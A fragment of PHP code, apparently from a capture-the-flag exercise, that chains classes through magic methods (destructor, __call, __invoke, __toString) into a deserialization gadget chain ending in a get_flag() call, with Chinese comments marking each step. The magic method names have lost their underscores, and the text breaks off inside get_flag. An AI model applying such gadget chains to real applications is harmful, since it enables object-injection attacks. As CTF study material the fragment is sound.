class allstart { public $var1; public $var2; public function construct() { $this->var1 = new func1(); } public function destruct() { $this->var1->test1(); } } class func1 { public $var1; public $var2; public function construct() { $this->var1 = new func2(); } public function test1() { $this->var1->test2(); } } class func2 { //step3: func2->call()->在对象上下⽂中调⽤不可访问的⽅法时触发 public $var1; public $var2; public function construct() { $this->var1 = new func3(); } public function call($test2,$arr) { $s1 = $this->var1; $s1(); } } class func3 { //step3:func3->invoke()->concat string public $var1; public $var2; public function construct() { $this->var1 = new func4(); } // 尝试将对象调⽤为函数时触发 public function invoke() { $this->var2 = "concat string".$this->var1; } } class func4 { // step2:func4->tostring()->get_flag() public $str1; public $str2; public function construct() { $this->str1 = new toget(); } public function toString() { $this->str1->get_flag(); return "1"; } } class toget { // step1: get_flag() public function get_flag() {